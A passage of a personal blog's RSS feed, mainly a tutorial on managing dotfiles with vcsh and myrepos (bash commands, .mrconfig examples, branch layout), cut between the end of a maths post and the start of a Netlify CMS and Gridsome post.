style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mbin mtight">+</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3352400000000002em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8556639999999998em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord accent mtight"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord mtight"><span class="mord mathdefault mtight">s</span></span></span><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord mtight">ˉ</span></span></span></span></span></span></span><span class="mrel mtight">∈</span><span class="mord mathcal mtight" style="margin-right:0.075em;">S</span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.321706em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord cancel-lap"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-4.385245em;"><span class="pstrut" style="height:4.385245em;"></span><span class="mord cancel-pad"><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8421299999999996em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">s</span><span class="mrel mtight">∈</span><span class="mord mtight"><span class="mord mtight"><span class="mord mathcal mtight" style="margin-right:0.075em;">S</span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7026642857142857em;"><span style="top:-2.786em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mbin mtight">+</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3352400000000002em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span></span></span><span class="svg-align" style="top:-3.050005em;"><span class="pstrut" style="height:4.385245em;"></span><span style="height:2.3852450000000003em;"><svg width="100%" height="2.3852450000000003em"><line x1="0" y1="0" x2="100%" y2="100%" stroke-width="0.046em"></line><line x1="0" y1="100%" x2="100%" y2="0" stroke-width="0.046em"></line></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3352400000000002em;"><span></span></span></span></span></span></span></span><span style="top:-2.3403824999999996em;"><span class="pstrut" style="height:3.050005em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8421299999999996em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">s</span><span class="mrel mtight">∈</span><span class="mord mtight"><span class="mord mtight"><span class="mord mathcal mtight" style="margin-right:0.075em;">S</span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7026642857142857em;"><span style="top:-2.786em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mbin mtight">+</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3352400000000002em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8556639999999998em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord accent mtight"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord mtight"><span class="mord mathdefault mtight">s</span></span></span><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord mtight">ˉ</span></span></span></span></span></span></span><span class="mrel mtight">∈</span><span class="mord mathcal mtight" style="margin-right:0.075em;">S</span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.321706em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span></span></span><span style="top:0.3448624999999996em;"><span class="pstrut" style="height:3.050005em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.808995em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">s</span><span class="mrel mtight">∈</span><span class="mord mtight"><span class="mord mtight"><span class="mord mathcal mtight" style="margin-right:0.075em;">S</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7026642857142857em;"><span style="top:-2.786em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mbin mtight">+</span></span></span></span></span></span></span></span><span class="mbin mtight">∖</span><span class="mord mathcal mtight" style="margin-right:0.075em;">S</span></span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.516005em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.2108725em;"><span></span></span></span></span></span></span></span></span></span></span></span></div>
<p>This is saying that, on average, in an episode, we are going to spend one
timestep in terminal states.</p>
<p>It works! 🎉</p>
<p>That’s it, in the end we did not manage to prove <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">1=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">0</span></span></span></span></span>, but hopefully we
learned something interesting along the way!</p>

]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Conquer your dotfiles with VCSH and MR]]></title>
            <link>https://germano.dev/dotfiles/</link>
            <guid>https://germano.dev/dotfiles/</guid>
            <pubDate>Wed, 09 Oct 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[Are you tired of wasting time setting up your dotfiles every time you change laptop? Here I will describe a simple method based on vcsh and later show how you can make it more customizable and modular, thanks to myrepos.]]></description>
            <content:encoded><![CDATA[<p>Are you tired of wasting time setting up your dotfiles every time you change
laptop? 
Here I will describe a simple method based on vcsh and later show how you can
make it more customizable and modular, thanks to myrepos.</p>

<section class="contents">
<h2 id="tldr">TL;DR<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#tldr"><span class="icon icon-link"></span></a></h2>

<p>To manage my dotfiles I use a bare git repository, instead of symlinks, and
<a href="https://github.com/RichiH/vcsh">vcsh</a>, a small utility that makes the whole process a lot easier.
On a new machine, I just need to:</p>
<pre class="language-bash"><code class="language-bash">$ vcsh clone https://github.com/tyrion/dotfiles dotfiles</code></pre>
<p>And I am done.</p>
<p>Recently I switched to a more advanced and modular setup, combining
vcsh with <a href="https://myrepos.branchable.com/">myrepos</a>.
I keep separate branches for different applications and I can run custom scripts
on checkout/update.
On a new machine it looks like this:</p>
<ol>
<li>Get the myrepos configuration<pre class="language-bash"><code class="language-bash">$ vcsh clone keybase://private/tyrion/home mr</code></pre></li>
<li>List available application configurations<pre class="language-bash"><code class="language-bash">$ <span class="token builtin class-name">cd</span> .config/mr
$ <span class="token function">ls</span> available.d/
bash.vcsh  i3.vcsh  mr.vcsh  nvim.vcsh  pyenv.vcsh</code></pre></li>
<li>Activate the ones I want on this machine<pre class="language-bash"><code class="language-bash">$ <span class="token function">ln</span> -s <span class="token punctuation">..</span>/available.d/nvim.vcsh config.d/</code></pre></li>
<li>Get everything in the right place<pre class="language-bash"><code class="language-bash">$ mr checkout</code></pre></li>
</ol>
<p>Keep reading if you want to know the details, or <a href="#vcsh">skip to the sauce</a>
or directly <a href="https://github.com/tyrion/mr-template">check the final result on Github</a>!</p>

<h2 id="contents">Contents<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#contents"><span class="icon icon-link"></span></a></h2>
<ol>
<li><a href="#problem">The problem</a></li>
<li><a href="#approaches">Possible approaches</a><ol>
<li><a href="#git-home"><code>$HOME</code> as a git repository</a></li>
<li><a href="#symlinks">Separate repository plus symlinks</a></li>
<li><a href="#bare-git">Bare git repository</a></li>
</ol></li>
<li><a href="#vcsh">VCSH to the rescue</a></li>
<li><a href="#mr">Advanced setup with myrepos</a><ol>
<li><a href="#mr-quickstart">Quickstart</a></li>
<li><a href="#mr-example">Realistic example</a></li>
<li><a href="#mr-setup">Putting it all together</a></li>
</ol></li>
</ol>
</section>
<h2 id="problem">The problem<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#problem"><span class="icon icon-link"></span></a></h2>
<p>Many programs on GNU/Linux used to store their configuration inside our <code>$HOME</code>
directory using one or more <em>dotfiles</em> (i.e. files starting with a dot, like <code>.vimrc</code>).
Nowadays those files usually do not start with a dot and reside in <code>~/.config</code>, but the name stuck.</p>
<p>Some people spend a great deal of effort in configuring and customizing their
dotfiles (Have a look at <a href="https://www.reddit.com/r/unixporn/">reddit</a> for some inspiration).
Therefore, when switching to a new machine, or reinstalling our OS, it is very
important to be able to restore all those configuration files easily.</p>
<h2 id="approaches">Possible approaches<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#approaches"><span class="icon icon-link"></span></a></h2>
<p>Here I will list the most common approaches to the management
of dotfiles. I am going to assume that the best way to deal with the versioning
of dotfiles is to use git.</p>

<h3 id="git-home"><code>$HOME</code> as a git repository<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#git-home"><span class="icon icon-link"></span></a></h3>
<p>The first solution that might come to our mind is to make our entire <code>$HOME</code>
a git repository. This may seem a simple and good solution, although we have
to be careful with sub-repositories and most importantly it is <a href="https://stackoverflow.com/questions/2411031/how-do-i-clone-into-a-non-empty-directory">not going to
be straightforward</a> to clone our repository on a new machine (since the home
folder probably already exists).</p>
<h3 id="symlinks">Separate repository plus symlinks<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#symlinks"><span class="icon icon-link"></span></a></h3>
<p>Since making our home folder a git repository seems to have some drawbacks,
one reasonable way to <em>fix</em> the previous approach might be to put the git
repository with our dotfiles somewhere else (for example, <code>~/.config/dotfiles</code>
) and then symlink what we need inside our <code>$HOME</code>.</p>
<p>This in practice, is a good approach. The only downside is that on a new machine
we need to manually symlink everything in the right place and it might be a bit
tedious.</p>
<p>For this reason, when using this method it is probably a good idea to use one
of the many tools available. For example see: <em><a href="http://brandon.invergo.net/news/2012-05-26-using-gnu-stow-to-manage-your-dotfiles.html">Using GNU Stow to manage your dotfiles</a></em>.</p>

<h3 id="bare-git">Bare git repositories<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#bare-git"><span class="icon icon-link"></span></a></h3>
<p>If you do not like dealing with symlinks or having to use yet an other tool to
manage your dotfiles, this method is for you.</p>
<p>A <a href="https://mijingo.com/blog/what-is-a-bare-git-repository">bare git repository</a> allows us to keep the working tree and the
<code>.git</code> directory in different places.</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token assign-left variable">DOT_DIR</span><span class="token operator">=</span>~/.config/dotfiles
$ <span class="token function">git</span> init --bare <span class="token variable">$DOT_DIR</span>
$ <span class="token builtin class-name">alias</span> <span class="token assign-left variable">dot</span><span class="token operator">=</span><span class="token string">"<span class="token variable"><span class="token variable">`</span><span class="token function">which</span> <span class="token function">git</span><span class="token variable">`</span></span> --git-dir=<span class="token variable">$DOT_DIR</span> --work-tree=<span class="token environment constant">$HOME</span>"</span></code></pre>
<p>Then we can use the <code>dot</code> alias to manage our dotfiles:</p>
<pre class="language-bash"><code class="language-bash">$ dot <span class="token function">add</span> .bashrc
$ dot commit -m <span class="token string">"Add .bashrc"</span>
$ dot push</code></pre>
<p>This is very similar to our first method, except that the <code>.git</code> folder is not
placed directly inside <code>$HOME</code> but resides in <code>~/.config/dotfiles</code>. This means
that (A) we avoid all possible problems with nested repositories and (B)
we do not need symlinks!</p>
<p>Unfortunately, like in our first method, it is not straightforward to clone
our repository when the home folder already exists.
Moreover, whenever I need to setup a new machine, I always forget some of the
git commands and flags required to use this method.</p>

<h2 id="vcsh">VCSH to the rescue<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#vcsh"><span class="icon icon-link"></span></a></h2>


<p>Using a bash alias like shown above, proves that we can manage our dotfiles in
a satisfying way, only with git. However, I prefer using one of the many
available tools that wrap git. In particular <a href="https://github.com/RichiH/vcsh">vcsh</a> has the following
advantages:</p>

<ul>
<li><em>Easier CLI</em>. no need to remember complex git commands or define aliases on a
new machine.</li>
<li><em>Better UX</em>. no problems to clone our dotfiles when the <code>$HOME</code>
folder already exists or is non-empty.</li>
<li><em>Seeamless support for multiple repositories</em>. no need to define one alias for
each repository.</li>
</ul>
<p>vcsh is licensed under <a href="https://spdx.org/licenses/GPL-2.0-or-later.html"><em>GPLv2 or later</em></a> and is available on most GNU/Linux
distributions and OSX.</p>

<p>To get started with vcsh, you can create a new git repository for your dotfiles:</p>
<pre class="language-bash"><code class="language-bash">$ vcsh init dotfiles</code></pre>

<p>Now you can run git commands, either using <code>vcsh &#x3C;repo> &#x3C;git cmd></code> or by
first activating your repository and then using git normally:</p>
<pre class="language-bash"><code class="language-bash">$ vcsh enter dotfiles
<span class="token punctuation">(</span>master<span class="token punctuation">)</span> $ <span class="token function">git</span> <span class="token function">add</span> .bashrc .vimrc
<span class="token punctuation">(</span>master<span class="token punctuation">)</span> $ <span class="token function">git</span> commit -m <span class="token string">"initial files"</span>
<span class="token punctuation">(</span>master<span class="token punctuation">)</span> $ <span class="token builtin class-name">exit</span>
$</code></pre>
<p>To get your dotfiles on a new machine, you can use <code>vcsh clone</code>:</p>
<pre class="language-bash"><code class="language-bash">$ vcsh clone https://github.com/tyrion/dotfiles dotfiles</code></pre>
<p>It is also worth noting that vcsh is capable of handling multiple repositories.
This means you could separate the dotfiles of different applications.
For example:</p>
<pre class="language-bash"><code class="language-bash">$ vcsh init <span class="token function">bash</span>
$ vcsh <span class="token function">bash</span> <span class="token function">add</span> ~/.bashrc ~/.profile
$ vcsh init <span class="token function">vim</span>
$ vcsh <span class="token function">vim</span> <span class="token function">add</span> ~/.vimrc ~/.vim</code></pre>
<p>For more information look at the <a href="https://github.com/RichiH/vcsh/blob/master/README.md">README</a> and try <code>man vcsh</code>.</p>

<h2 id="mr">Advanced setup with myrepos<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#mr"><span class="icon icon-link"></span></a></h2>

<p>If you are a true power user and you are still not completely satisfied by
the above methods, here I will present a more advanced setup based on myrepos.</p>
<p><a href="https://myrepos.branchable.com/">myrepos</a> is a tool to manage multiple version control repositories, which
works very well with vcsh, licensed under <a href="https://spdx.org/licenses/GPL-2.0-or-later.html">GPLv2 or later</a> and <a href="https://myrepos.branchable.com/install/">available on
most GNU/Linux distributions and OSX</a>.</p>
<p>The method presented in this section is not necessarily the best for everyone.
Mainly because it is more complex to setup than plain vcsh (even though you need to do this
setup only once).
Therefore, I encourage you to evaluate first what are you needs and then choose the most
appropriate method.</p>

<p>The reasons that personally convinced me to adopt myrepos are the following:</p>
<ul>
<li>I can write small executable scripts that run on checkout/update.</li>
<li>I can easily checkout some repositories in a different location (i.e. pyenv
goes inside <code>~/.local/share</code> and not <code>~</code>).</li>
</ul>
<p><strong>NOTE</strong>: myrepos has other features, like the ability to manage almost any
kind of version control system (e.g. svn, bzr), which I did not mention here,
because they are not relevant for my use case. I invite you to check out the
documentation.</p>

<h3 id="mr-quickstart">Quickstart<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#mr-quickstart"><span class="icon icon-link"></span></a></h3>
<p>To manage our repositories with myrepos, we need to edit <code>.mrconfig</code> files.
Here is an example:</p>
<pre class="language-ini"><code class="language-ini"><span class="token selector">[src/mr]</span>
<span class="token comment"># We can use almost any version control system</span>
<span class="token constant">checkout</span> <span class="token attr-value"><span class="token punctuation">=</span> git clone git://git.kitenet.net/mr</span>

<span class="token selector">[books/LFS]</span>
<span class="token comment"># Really, also SVN ...</span>
<span class="token comment"># It was not easy to find a working SVN repo</span>
<span class="token constant">checkout</span> <span class="token attr-value"><span class="token punctuation">=</span> svn co svn://svn.linuxfromscratch.org/LFS/trunk/BOOK/ LFS</span></code></pre>
<p>Each section represents a repository and the header specifies its location on
our machine, relative to the <code>.mrconfig</code> file.</p>
<p>If we place the above <code>.mrconfig</code> inside any directory and run <code>mr checkout</code>,
myrepos will fetch the repositories for us.</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token builtin class-name">cd</span> ~/test <span class="token operator">&#x26;&#x26;</span> <span class="token function">ls</span>
.mrconfig
$ mr checkout
$ tree -L <span class="token number">2</span>
<span class="token builtin class-name">.</span>
├── books
│   └── LFS
└── src
    └── mr

<span class="token number">4</span> directories, <span class="token number">0</span> files</code></pre>
<p>If we have many repositories, we can use the <code>--jobs</code> option, to make the
checkouts run in parallel.</p>
<h3 id="mr-example">Realistic example<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#mr-example"><span class="icon icon-link"></span></a></h3>
<p>Here is a more realistic example of <code>.mrconfig</code>, showcasing the
support for:</p>
<ul>
<li>environment variables in the header,</li>
<li>advanced checkout with vcsh,</li>
<li>and <code>post_update</code> hooks.</li>
</ul>
<pre class="language-ini"><code class="language-ini"><span class="token selector">[$HOME/.config/vcsh/repo.d/nvim.git]</span>
<span class="token constant">checkout</span> <span class="token attr-value"><span class="token punctuation">=</span></span>
  vcsh clone https://github.com/example/nvim nvim

<span class="token constant">post_update</span> <span class="token attr-value"><span class="token punctuation">=</span></span>
  set -e
  curl -fLo ~/.local/share/nvim/site/autoload/plug.vim \
  --create-dirs https://raw.githubusercontent.com/\
  junegunn/vim-plug/master/plug.vim

  pip install -U pip
  pip install -U pynvim black mypy jedi

<span class="token selector">[$HOME/.config/vcsh/repo.d/pyenv.git]</span>
<span class="token constant">order</span> <span class="token attr-value"><span class="token punctuation">=</span> 30</span>
<span class="token constant">checkout</span> <span class="token attr-value"><span class="token punctuation">=</span></span>
<span class="token constant">  VCSH_BASE</span><span class="token attr-value"><span class="token punctuation">=</span>"$HOME/.local/share/pyenv" vcsh clone \</span>
    'https://github.com/pyenv/pyenv.git' 'pyenv'

<span class="token selector">[$HOME/.local/share/pyenv/plugins/pyenv-virtualenv]</span>
<span class="token constant">order</span> <span class="token attr-value"><span class="token punctuation">=</span> 30</span>
<span class="token constant">checkout</span> <span class="token attr-value"><span class="token punctuation">=</span></span>
  git clone https://github.com/pyenv/pyenv-virtualenv.git $MR_REPO</code></pre>
<p>To learn more about myrepos you can <a href="https://myrepos.branchable.com/">consult its website</a> and
read the manual, either <a href="https://linux.die.net/man/1/mr">online</a> or with <code>man mr</code>. In the git repo you
can also find <a href="https://github.com/RichiH/myrepos/blob/master/mrconfig.complex">an example <code>.mrconfig</code></a>.</p>
<h3 id="mr-setup">Putting it all together<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#mr-setup"><span class="icon icon-link"></span></a></h3>
<p>In this last section, I will show how to put together everything we have
learned so far, by illustrating my current setup.</p>
<p>The goal is to create a single git repository, with different branches
containing the dotfiles for different applications. For extra security,
I recommend to use the
<a href="https://keybase.io/blog/encrypted-git-for-everyone">encrypted git repositories provided by Keybase</a>. They are
especially useful if you plan to store sensitive informations, like passwords
or ssh keys.</p>
<p>As a first step we should clone the <a href="https://github.com/tyrion/mr-template">mr-template repository</a>, which I prepared
to make things easier. In case you plan to use Github, I suggest you to fork it
and use your fork instead.</p>
<pre class="language-text"><code class="language-text">$ git clone https://github.com/tyrion/mr-template.git
$ cd mr-template
$ git branch
* master
  mr</code></pre>
<p>As you can see the repository contains two branches. The master branch contains
only the README and can be used to store any file we do not want to be checked
out automatically in our <code>$HOME</code>.</p>
<p>The <code>mr</code> branch is the most important and contains the configuration for myrepos and the repository definitions for all the other apps.
All the other branches will be used to store the dotfiles
for our applications.</p>

<p>Let us examine the contents of the <code>mr</code> branch:</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> checkout mr
$ tree -aI .git
<span class="token builtin class-name">.</span>
├── .config
│   └── mr
│       ├── available.d
│       │   └── mr.vcsh
│       └── config.d
│           └── mr.vcsh -<span class="token operator">></span> <span class="token punctuation">..</span>/available.d/mr.vcsh
└── .mrconfig

<span class="token number">4</span> directories, <span class="token number">3</span> files</code></pre>
<p>The contents of this branch can be summarized as follows:</p>
<ul>
<li><code>.mrconfig</code>: the entrypoint configuration file for mr,</li>
<li><code>.config/mr/available.d/</code>: repository definitions for our applications,</li>
<li><code>.config/mr/config.d/</code>: repository definitions active in the current system.
Contains symlinks to <code>available.d/</code>.</li>
</ul>
<p>The <code>.mrconfig</code> is used only to include everything inside <code>config.d/</code>. Its
content should be:</p>
<pre class="language-ini"><code class="language-ini"><span class="token selector">[DEFAULT]</span>
<span class="token constant">include</span> <span class="token attr-value"><span class="token punctuation">=</span> cat ~/.config/mr/config.d/*</span></code></pre>
<p>Therefore, to add the dotfiles for a specific application to our system, we have to enable
its repository definition (placed inside <code>available.d/</code>) by creating a symlink
inside <code>config.d/</code>.</p>
<p>This mechanism allows us to only activate the dotfiles for the applications
that we need on the current machine, while keeping all the repository
definitions inside the same git repository.</p>
<p>Notice that <code>mr.vcsh</code> is symlinked inside <code>config.d/</code> and thus is enabled
by default. Let us check its contents:</p>
<pre class="language-ini"><code class="language-ini"><span class="token selector">[$HOME/.config/vcsh/repo.d/mr.git]</span>
<span class="token constant">order</span> <span class="token attr-value"><span class="token punctuation">=</span> 0</span>
<span class="token comment"># NOTE: put here the correct url for your repository</span>
<span class="token constant">checkout</span> <span class="token attr-value"><span class="token punctuation">=</span></span>
  vcsh clone -b mr https://github.com/tyrion/mr-template.git mr</code></pre>
<p>Remember to edit the url to point to your dotfiles repository and commit it.</p>
<p>As an example, let us now add a simple <code>.bashrc</code> to our repository.
The first thing to do is to add the repository definition. Place the following
inside <code>.config/mr/available.d/bash.vcsh</code>:</p>
<pre class="language-ini"><code class="language-ini"><span class="token selector">[$HOME/.config/vcsh/repo.d/bash.git]</span>
<span class="token constant">order</span> <span class="token attr-value"><span class="token punctuation">=</span> 10</span>
<span class="token comment"># NOTE: put the correct url for your repository</span>
<span class="token constant">checkout</span> <span class="token attr-value"><span class="token punctuation">=</span></span>
  vcsh clone -b bash https://github.com/tyrion/mr-template.git bash</code></pre>
<p>This instructs vcsh to checkout the <code>bash</code> branch of our repository. Let us
create this branch, since it does not exist, and add our dotfiles to it:</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> checkout -b <span class="token function">bash</span> init
Switched to a new branch <span class="token string">'bash'</span>
$ <span class="token builtin class-name">echo</span> <span class="token string">"echo 'Hello o/'"</span> <span class="token operator">></span> .bashrc
$ <span class="token function">git</span> <span class="token function">add</span> .bashrc
$ <span class="token function">git</span> commit -m <span class="token string">"Add dummy .bashrc"</span></code></pre>
<p>You should also create a symbolic link inside <code>.config.d/</code> if you want your
bash branch to be enabled by default.</p>
<p><strong>NOTE</strong>: It is very important to create your branches from the <code>init</code> tag,
to ensure they will start from a clean/empty state.</p>
<p>That’s it. Assuming you pushed your branches to your remote repository, you
are now ready to check out your dotfiles on any machine:</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token comment"># NOTE: always put your repo</span>
$ vcsh clone -b mr https://github.com/tyrion/mr-template.git mr</code></pre>
<p>Enable/disable the branches that you want and run <code>mr checkout</code>:</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token builtin class-name">cd</span> .config/mr
$ <span class="token function">ln</span> -s <span class="token punctuation">..</span>/available.d/bash.vcsh config.d/
$ mr checkout</code></pre>
<p>All your dotfiles should be in the right place. Congratulations 🎉</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to make Netlify CMS image paths work on Gridsome]]></title>
            <link>https://germano.dev/fix-netlify-cms-paths-on-gridsome/</link>
            <guid>https://germano.dev/fix-netlify-cms-paths-on-gridsome/</guid>
            <pubDate>Thu, 11 Jul 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[Gridsome and NetlifyCMS are fantastic software projects, which allow you to respectively create a blazingly fast static website and manage your content from a beautiful UI. However they disagree on how to handle file paths of images or blog post covers.]]></description>
            <content:encoded><![CDATA[<p><a href="https://gridsome.org/">Gridsome</a> and <a href="https://www.netlifycms.org/">Netlify CMS</a> are fantastic software projects, which allow you
to respectively create a blazingly fast static website and manage your content from a beautiful
UI. However they disagree on how to handle file paths of images or blog post covers.</p>
<p>Suppose you created a simple blog with Gridsome and configured Netlify CMS.
Your <code>config.yml</code> might look something like the following:</p>
<pre class="language-yaml"><code class="language-yaml"><span class="token key atrule">media_folder</span><span class="token punctuation">:</span> <span class="token string">'static/uploads'</span>
<span class="token key atrule">public_folder</span><span class="token punctuation">:</span> <span class="token string">'/uploads'</span>
<span class="token key atrule">site_url</span><span class="token punctuation">:</span> https<span class="token punctuation">:</span>//example.com

<span class="token key atrule">collections</span><span class="token punctuation">:</span>
  <span class="token punctuation">-</span> <span class="token key atrule">name</span><span class="token punctuation">:</span> posts
    <span class="token key atrule">folder</span><span class="token punctuation">:</span> <span class="token string">'posts'</span>
    <span class="token key atrule">create</span><span class="token punctuation">:</span> <span class="token boolean important">true</span>
